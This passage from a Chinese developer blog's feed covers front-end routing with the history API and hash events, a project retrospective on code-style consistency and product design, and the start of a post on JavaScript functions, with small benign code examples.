&lt;h4 id=&quot;history-API&quot;&gt;&lt;a href=&quot;#history-API&quot; class=&quot;headerlink&quot; title=&quot;history API&quot;&gt;&lt;/a&gt;history API&lt;/h4&gt;&lt;p&gt;html5引入了一个history对象，包含了一套访问浏览器历史的api，可以通过window.history访问到它。&lt;/p&gt;
&lt;p&gt;这里我们看上了它的两个api方法：&lt;code&gt;pushState&lt;/code&gt; 和 &lt;code&gt;replaceState&lt;/code&gt;。&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;history.replaceState(dataObj, title, url);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;history.pushState(dataObj, title, url);&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;若上所示，它们接收完全相同的参数，都是对浏览器的历史栈进行操作，将传递的url和相关数据压栈，并将浏览器地址栏的url替换成传入的url且不刷新页面（正中下怀！）。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;By the way，不同的地方是&lt;code&gt;pushState&lt;/code&gt; 将指定的url直接压入历史记录栈顶，而 &lt;code&gt;replaceState&lt;/code&gt; 是将当前历史记录栈顶替换成传入的数据。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这两种方式都可以帮我们满足题设条件。采用哪一种方式除了主观喜好之外，还得依照客观事实：低版本的浏览器对于history API的兼容性不好，例如遇到了IE8，摆在眼前的道路似乎就别无选择了。&lt;/p&gt;
&lt;h3 id=&quot;如何跟踪url变化&quot;&gt;&lt;a href=&quot;#如何跟踪url变化&quot; class=&quot;headerlink&quot; title=&quot;如何跟踪url变化&quot;&gt;&lt;/a&gt;如何跟踪url变化&lt;/h3&gt;&lt;p&gt;在浏览器端，跟踪表单属性的变化一般都采用事件监听机制，跟踪url的变化也不落俗套。&lt;/p&gt;
&lt;p&gt;对于hash方式的前端路由，通常可以监听 &lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/Events/hashchange&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;hashchange&lt;/a&gt; 事件，在事件回调中处理相应的页面视图展示等逻辑。&lt;/p&gt;
&lt;p&gt;此外，html5提供的 &lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/API/Window/onpopstate&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;popstate&lt;/a&gt; 事件也会在url的hash发生改变时触发。也就是说如果可以忽略低版本浏览器，我们使用hash方式路由时也可以采用监听这个事件进行回调处理。&lt;/p&gt;
&lt;p&gt;那么，如果是采用history API的形式呢？根据MDN的描述：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;调用 &lt;code&gt;history.pushState()&lt;/code&gt; 或者 &lt;code&gt;history.replaceState()&lt;/code&gt; 不会触发 &lt;code&gt;popstate&lt;/code&gt; 事件。&lt;code&gt;popstate&lt;/code&gt; 事件只会在浏览器某些行为下触发, 比如点击后退按钮（或者在JavaScript中调用 &lt;code&gt;history.back()&lt;/code&gt; 方法）。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这也就是说，我们在使用history API改变浏览器的url时，仍需要额外的步骤去触发 &lt;code&gt;popstate&lt;/code&gt; 事件，例如调用 &lt;code&gt;history.back()&lt;/code&gt; 会 &lt;code&gt;history.forward()&lt;/code&gt; 等方法。&lt;/p&gt;
&lt;p&gt;从兼容性上来讲，前面有提及hash的方式兼容性更好。然而，对于低版本的浏览器，例如IE6等等，不支持 &lt;code&gt;hashchange&lt;/code&gt; 事件。这个时候我们只能通过 &lt;code&gt;setInterval&lt;/code&gt; 设置心跳的方式去模拟 &lt;code&gt;hashchange&lt;/code&gt;。&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt; oldHash = location.hash;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt; oldURL = location.href;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;setInterval(&lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(&lt;span class=&quot;params&quot;&gt;&lt;/span&gt;) &lt;/span&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt; newHash = location.hash;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt; newURL = location.href;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;        &lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt; (newHash !== oldHash &amp;amp;&amp;amp; &lt;span class=&quot;keyword&quot;&gt;typeof&lt;/span&gt; &lt;span class=&quot;built_in&quot;&gt;window&lt;/span&gt;.onhashchange === &lt;span class=&quot;string&quot;&gt;&#39;function&#39;&lt;/span&gt;) &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;comment&quot;&gt;// 执行onhashchange回调&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;built_in&quot;&gt;window&lt;/span&gt;.onhashchange(&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      &lt;span class=&quot;string&quot;&gt;&#39;type&#39;&lt;/span&gt;: &lt;span class=&quot;string&quot;&gt;&#39;hashchange&#39;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      &lt;span class=&quot;string&quot;&gt;&#39;oldURL&#39;&lt;/span&gt;: oldURL,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      &lt;span class=&quot;string&quot;&gt;&#39;newURL&#39;&lt;/span&gt;: newURL&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &amp;#125;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    oldHash = newHash;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    oldURL = newURL;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;, &lt;span class=&quot;number&quot;&gt;100&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;h3 id=&quot;一个简单实现&quot;&gt;&lt;a href=&quot;#一个简单实现&quot; class=&quot;headerlink&quot; title=&quot;一个简单实现&quot;&gt;&lt;/a&gt;一个简单实现&lt;/h3&gt;&lt;p&gt;这里，给出一个很简单的实现：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;router.js&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;title&quot;&gt;FrontRouter&lt;/span&gt;(&lt;span class=&quot;params&quot;&gt;&lt;/span&gt;) &lt;/span&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.routes = &amp;#123;&amp;#125;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;built_in&quot;&gt;window&lt;/span&gt;.addEventListener(&lt;span class=&quot;string&quot;&gt;&#39;load&#39;&lt;/span&gt;, &lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.resolve.bind(&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;), &lt;span class=&quot;literal&quot;&gt;false&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;built_in&quot;&gt;window&lt;/span&gt;.addEventListener(&lt;span class=&quot;string&quot;&gt;&#39;hashchange&#39;&lt;/span&gt;, &lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.resolve.bind(&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;), &lt;span class=&quot;literal&quot;&gt;false&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;FrontRouter.prototype.route = &lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(&lt;span class=&quot;params&quot;&gt;path, callback&lt;/span&gt;) &lt;/span&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.routes[path] = callback || &lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(&lt;span class=&quot;params&quot;&gt;&lt;/span&gt;) &lt;/span&gt;&amp;#123;&amp;#125;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;FrontRouter.prototype.resolve = &lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(&lt;span class=&quot;params&quot;&gt;&lt;/span&gt;) &lt;/span&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.curHash = location.hash.slice(&lt;span class=&quot;number&quot;&gt;1&lt;/span&gt;) || &lt;span class=&quot;string&quot;&gt;&#39;/&#39;&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;typeof&lt;/span&gt; &lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.routes[&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.curHash] === &lt;span class=&quot;string&quot;&gt;&#39;function&#39;&lt;/span&gt; &amp;amp;&amp;amp; &lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.routes[&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.curHash]();&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;index.html&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&quot;highlight html&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;&lt;span class=&quot;name&quot;&gt;ul&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;tag&quot;&gt;&amp;lt;&lt;span class=&quot;name&quot;&gt;li&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;&lt;span class=&quot;name&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;attr&quot;&gt;href&lt;/span&gt;=&lt;span class=&quot;string&quot;&gt;&#39;#blue&#39;&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/&lt;span class=&quot;name&quot;&gt;a&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/&lt;span class=&quot;name&quot;&gt;li&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;tag&quot;&gt;&amp;lt;&lt;span class=&quot;name&quot;&gt;li&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;&lt;span class=&quot;name&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;attr&quot;&gt;href&lt;/span&gt;=&lt;span class=&quot;string&quot;&gt;&#39;#yellow&#39;&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/&lt;span class=&quot;name&quot;&gt;a&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/&lt;span class=&quot;name&quot;&gt;li&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;tag&quot;&gt;&amp;lt;&lt;span class=&quot;name&quot;&gt;li&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;&lt;span class=&quot;name&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;attr&quot;&gt;href&lt;/span&gt;=&lt;span class=&quot;string&quot;&gt;&#39;#red&#39;&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/&lt;span class=&quot;name&quot;&gt;a&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/&lt;span class=&quot;name&quot;&gt;li&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/&lt;span class=&quot;name&quot;&gt;ul&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;index.js&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt; router = &lt;span class=&quot;keyword&quot;&gt;new&lt;/span&gt; FrontRouter();&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;router.route(&lt;span class=&quot;string&quot;&gt;&#39;blue&#39;&lt;/span&gt;, &lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(&lt;span class=&quot;params&quot;&gt;&lt;/span&gt;) &lt;/span&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;built_in&quot;&gt;document&lt;/span&gt;.body.style.backgroundColor = &lt;span class=&quot;string&quot;&gt;&#39;blue&#39;&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;router.route(&lt;span class=&quot;string&quot;&gt;&#39;yellow&#39;&lt;/span&gt;, &lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(&lt;span class=&quot;params&quot;&gt;&lt;/span&gt;) &lt;/span&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;built_in&quot;&gt;document&lt;/span&gt;.body.style.backgroundColor = &lt;span class=&quot;string&quot;&gt;&#39;yellow&#39;&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;router.route(&lt;span class=&quot;string&quot;&gt;&#39;red&#39;&lt;/span&gt;, &lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(&lt;span class=&quot;params&quot;&gt;&lt;/span&gt;) &lt;/span&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;built_in&quot;&gt;document&lt;/span&gt;.body.style.backgroundColor = &lt;span class=&quot;string&quot;&gt;&#39;red&#39;&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;);&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;h2 id=&quot;一点总结&quot;&gt;&lt;a href=&quot;#一点总结&quot; class=&quot;headerlink&quot; title=&quot;一点总结&quot;&gt;&lt;/a&gt;一点总结&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;应用场景&lt;/strong&gt;&lt;br&gt;前端路由大部分的应用场景，就是我们现在熟知的单页应用SPA。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;不存在纯前端路由&lt;/strong&gt;&lt;br&gt;我们此前所描述的前端路由，建立在已经打开了一个初始页面基础之上，然后在这个页面之内进行页面替换。然而，我们如何进入这个初始页面？仅靠前端路由肯定是力所不及。我们至少要向后端发送一次http请求，接收所需要加载的页面不是吗？&lt;/p&gt;
&lt;p&gt;所以，我们并不能抛弃后端路由部分。这也意味着，我们需要和后端确认各自的分工，哪些url归前端解析，哪些归后台解析。&lt;/p&gt;
</content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;什么是前端路由&quot;&gt;&lt;a href=&quot;#什么是前端路由&quot; class=&quot;headerlink&quot; title=&quot;什么是前端路由&quot;&gt;&lt;/a&gt;什么是前端路由&lt;/h2&gt;&lt;p&gt;路由，引导、指路之意。&lt;/p&gt;
&lt;p&gt;譬如我们熟知的路由器，蹦跶在网络层的数据包转发设备，在网络中也是扮演着指路明灯的角色，肩负着将数据包正确导向目的地址的重任。&lt;/p&gt;
&lt;p&gt;前端路由也借用了这个词，但是承担的工作全然不同，它是服务于客户端浏览器的指路人。&lt;/p&gt;
&lt;p&gt;所谓的前端路由，拥有这样一种能力：客户端浏览器可以不依赖服务端，根据不同的URL渲染不同的视图页面。&lt;/p&gt;
    
    </summary>
    
      <category term="Investigation" scheme="tomasran.space/category/Investigation/"/>
    
    
      <category term="前端路由" scheme="tomasran.space/tags/%E5%89%8D%E7%AB%AF%E8%B7%AF%E7%94%B1/"/>
    
  </entry>
  
  <entry>
    <title>项目总结：Okay教育智慧平台v1.7.0.1</title>
    <link href="tomasran.space/archives/byiEkaZXckBFPR1ZhtuusA/"/>
    <id>tomasran.space/archives/byiEkaZXckBFPR1ZhtuusA/</id>
    <published>2016-11-22T02:27:17.000Z</published>
    <updated>2016-11-22T02:40:34.000Z</updated>
    
    <content type="html">&lt;h3 id=&quot;参与内容&quot;&gt;&lt;a href=&quot;#参与内容&quot; class=&quot;headerlink&quot; title=&quot;参与内容&quot;&gt;&lt;/a&gt;参与内容&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;资源列表公共组件&lt;/li&gt;
&lt;li&gt;教学资源平台列表菜单的重构&lt;/li&gt;
&lt;li&gt;教学资源页面逻辑的重构&lt;/li&gt;
&lt;/ul&gt;
&lt;a id=&quot;more&quot;&gt;&lt;/a&gt;
&lt;h3 id=&quot;所历所思&quot;&gt;&lt;a href=&quot;#所历所思&quot; class=&quot;headerlink&quot; title=&quot;所历所思&quot;&gt;&lt;/a&gt;所历所思&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;代码规范相关&lt;/strong&gt;&lt;br&gt;一个团队的项目是否应该统一编码风格？在曾经的一家强烈追求geek风格的公司小憩了一段岁月，该司要求一个项目的编码风格应当一致。依着作为一个程序员饱受沧桑的记忆，当时使用的应该是 &lt;a href=&quot;http://pre-commit.com/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;pre-commit&lt;/a&gt; 工具，然而这个工具却不是对代码进行智能格式化，只是定义一些编程风格规则，仍然是基于es-lint或者js-lint之类的代码风格检测工具，倘若不符合这些规则，代码commit时会提示失败，并给出代码风格不符合规则的具体日志，然后人工去修改代码。当时刚入江湖，初出茅庐，还并没有形成自己重度依赖的编程风格，一切听从组织安排。而实际上，在实践的过程中我也很喜欢这种方式，因为它尽可能地提醒了我怎样写代码才够合理。&lt;br&gt;&lt;br&gt;那么以下我所能体验到的代码风格统一的优点：&lt;br&gt;① 整个项目一种风格，不管接触哪一部分代码，都有一个熟悉的切入点。李代桃僵之时，减轻了不少阅读障碍。这样，在项目紧张的时候，临时加入的程序员就无需花更多心思去解读每个人的编程风格，对于boss而言，效率提升自然是最佳的。&lt;br&gt;② 编码风格的统一，对于代码bug的减少是有裨益的，一般指定的风格规则，都会是一些编程的最佳实践，肯定不会剑走偏锋。&lt;br&gt;③ 利于团队和谐，这一点似乎是意料之外的事，然而细思之下，却也是有些道理。作为两只有洁癖而风格各异的程序猿，在修改彼此代码的时候很容易心生怨念，自以为是，各执一词。然而风格的事情，谁也定不准个谁是谁非，而事实上很多风格确实也并分不出高下。最难解决的争议便是没有绝对非对错的争议。这时候，一统天下无疑是最好的方式，始皇帝一统天下，不服气的，斩！世界和谐。&lt;br&gt;&lt;br&gt;目前的Okay教育智慧平台项目，并没有采用统一的编码风格，因此不可避免的，呈现出一种百花齐放百家争鸣的风格景象。群雄逐鹿难免造成混乱。各自为政，在自己的管辖区域如鱼得水，而涉足别人的领地时往往不知所措，耗时良久。感觉从工程效率的角度出发，统一风格是一种很好的方式。有人会说了，这是赤裸裸的压迫！没有编码自由度！每一个新人都要学习遵守代码风格，很耗时！没错，但是个人认为这比一个项目变成万花筒要更容易被接受一点。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;产品设计相关&lt;/strong&gt;&lt;br&gt;此次参与的教学资源页面重构过程中，深刻体会到了从产品设计的合理性角度出发对于开发者造成的影响。在该页面中，包含的基本模块有菜单模块，关键字搜索模块，过滤条件选择模块，搜索结果展示模块等，然而在产品给出的设计中，一些不相关的内容被划分到同一概念层级中，导致程序的复杂度的上升。而同时，也苦于自己沟通不利，没有真正能够从产品的角度出发给出一些合理化的建议，也就是想要表达的思想不能叙述明确，至少不能紧扣一些产品设计的原则或者理论去应对，只好无奈地接受了这个事实。这也让我想到一个只知埋头编码的码农未来一定是不受待见的，毕竟技术为产品服务。我们更加关注的肯定是技术的应用价值，它是一项工具，便利我们去处理一些实际问题。我们不能深陷此坑，要跳出来，认识本质目的。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content>
    
    <summary type="html">
    
      &lt;h3 id=&quot;参与内容&quot;&gt;&lt;a href=&quot;#参与内容&quot; class=&quot;headerlink&quot; title=&quot;参与内容&quot;&gt;&lt;/a&gt;参与内容&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;资源列表公共组件&lt;/li&gt;
&lt;li&gt;教学资源平台列表菜单的重构&lt;/li&gt;
&lt;li&gt;教学资源页面逻辑的重构&lt;/li&gt;
&lt;/ul&gt;
    
    </summary>
    
      <category term="Conclusion" scheme="tomasran.space/category/Conclusion/"/>
    
    
  </entry>
  
  <entry>
    <title>Javascript函数相关</title>
    <link href="tomasran.space/archives/QvKCA14vYKd0ejUlJjdz8w/"/>
    <id>tomasran.space/archives/QvKCA14vYKd0ejUlJjdz8w/</id>
    <published>2016-11-21T07:55:12.000Z</published>
    <updated>2017-07-02T02:17:32.000Z</updated>
    
    <content type="html">&lt;h3 id=&quot;函数之重，重于泰山&quot;&gt;&lt;a href=&quot;#函数之重，重于泰山&quot; class=&quot;headerlink&quot; title=&quot;函数之重，重于泰山&quot;&gt;&lt;/a&gt;函数之重，重于泰山&lt;/h3&gt;&lt;p&gt;在Javascript中函数是一等公民。地为之重，可见一斑。那么它应该是有一些过人之处：&lt;/p&gt;
&lt;h4 id=&quot;函数式编程不可或缺&quot;&gt;&lt;a href=&quot;#函数式编程不可或缺&quot; class=&quot;headerlink&quot; title=&quot;函数式编程不可或缺&quot;&gt;&lt;/a&gt;函数式编程不可或缺&lt;/h4&gt;&lt;p&gt;Javascript是一门支持函数式编程的语言，当然这不是确立函数至尊地位的关键因素，毕竟支持函数式编程的语言不胜枚举。不过很明显，这种编程思想的核心是函数，举足轻重。&lt;/p&gt;
&lt;a id=&quot;more&quot;&gt;&lt;/a&gt;
&lt;h4 id=&quot;面向对象编程的依赖&quot;&gt;&lt;a href=&quot;#面向对象编程的依赖&quot; class=&quot;headerlink&quot; title=&quot;面向对象编程的依赖&quot;&gt;&lt;/a&gt;面向对象编程的依赖&lt;/h4&gt;&lt;p&gt;Javascript使用构造函数实现传统面向对象语言类的概念，构造函数与普通函数并没有任何区别，只是在命名上按照面向对象语言的习惯，统一使用大驼峰形式。&lt;/p&gt;
&lt;h4 id=&quot;函数声明优先级更高&quot;&gt;&lt;a href=&quot;#函数声明优先级更高&quot; class=&quot;headerlink&quot; title=&quot;函数声明优先级更高&quot;&gt;&lt;/a&gt;函数声明优先级更高&lt;/h4&gt;&lt;p&gt;变量提升时函数声明会覆盖同名的变量，函数声明的优先级高于变量，待遇优厚。比如下面这段代码：&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt; fn;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;title&quot;&gt;fn&lt;/span&gt;(&lt;span class=&quot;params&quot;&gt;&lt;/span&gt;) &lt;/span&gt;&amp;#123;&amp;#125;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt; fn;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;built_in&quot;&gt;console&lt;/span&gt;.log(&lt;span class=&quot;keyword&quot;&gt;typeof&lt;/span&gt; fn);&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;输出的是什么？答案是’function’，函数声明优先于变量声明。&lt;/p&gt;
&lt;h4 id=&quot;语言采用的是函数作用域&quot;&gt;&lt;a href=&quot;#语言采用的是函数作用域&quot; class=&quot;headerlink&quot; title=&quot;语言采用的是函数作用域&quot;&gt;&lt;/a&gt;语言采用的是函数作用域&lt;/h4&gt;&lt;p&gt;Javascript使用的是函数作用域，至少在ES6出现之前（ES6开始支持块级作用域），作用域的生成以函数为单位。&lt;/p&gt;
&lt;h4 id=&quot;函数亦可赋值，传参&quot;&gt;&lt;a href=&quot;#函数亦可赋值，传参&quot; class=&quot;headerlink&quot; title=&quot;函数亦可赋值，传参&quot;&gt;&lt;/a&gt;函数亦可赋值，传参&lt;/h4&gt;&lt;p&gt;函数也可以作为参数传递，可以作为返回值返回。正是它一等公民的身份写照！在Javascript中这几乎是随处可见，例如：&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;title&quot;&gt;fn&lt;/span&gt;(&lt;span class=&quot;params&quot;&gt;&lt;/span&gt;) &lt;/span&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(&lt;span class=&quot;params&quot;&gt;&lt;/span&gt;) &lt;/span&gt;&amp;#123; &lt;span class=&quot;built_in&quot;&gt;console&lt;/span&gt;.log(&lt;span class=&quot;string&quot;&gt;&#39;I\&#39;m the function inside!&#39;&lt;/span&gt;) &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
